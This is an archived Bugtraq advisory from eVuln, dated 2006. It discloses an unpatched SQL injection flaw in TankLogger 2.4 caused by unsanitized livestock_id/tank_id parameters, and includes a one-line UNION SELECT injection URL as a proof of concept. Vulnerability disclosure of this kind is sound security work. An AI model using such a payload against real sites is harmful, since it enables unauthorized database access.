[42148] in bugtraq

home help back first fref pref prev next nref lref last post

[eVuln] TankLogger SQL Injection Vulnerability

daemon@ATHENA.MIT.EDU (alex@evuln.com)
Thu Jan 12 18:53:51 2006

Date: 12 Jan 2006 21:57:16 -0000
Message-ID: <20060112215716.7129.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: alex@evuln.com
To: bugtraq@securityfocus.com

New eVuln Advisory:
TankLogger SQL Injection Vulnerability

--------------------Summary----------------

Software: TankLogger
Sowtware's Web Site: http://tanklogger.sourceforge.net/
Versions: 2.4
Critical Level: Moderate
Type: SQL Injection
Class: Remote
Status: Unpatched
Exploit: Available
Solution: Not Available
Discovered by: Aliaksandr Hartsuyeu (eVuln.com)
eVuln ID: EV0026

-----------------Description---------------
Vulnerable script:
general_functions.php

Variables $livestock_id tank_id isn't properly sanitized before being used in a SQL query. This can be used to make any SQL query by injecting arbitrary SQL code.

Condition: gpc_magic_quotes: off

--------------Exploit----------------------
SQL Injection Example:

http://host/exp/tanklogger/showInfo.php?livestock_id=99'%20union%20select%201,2,3,4,5,6,7,8,9/*

--------------Solution---------------------
No Patch available.

--------------Credit-----------------------
Original Advisory:
http://evuln.com/vulns/26/summary.html

Discovered by: Aliaksandr Hartsuyeu (eVuln.com)


home help back first fref pref prev next nref lref last post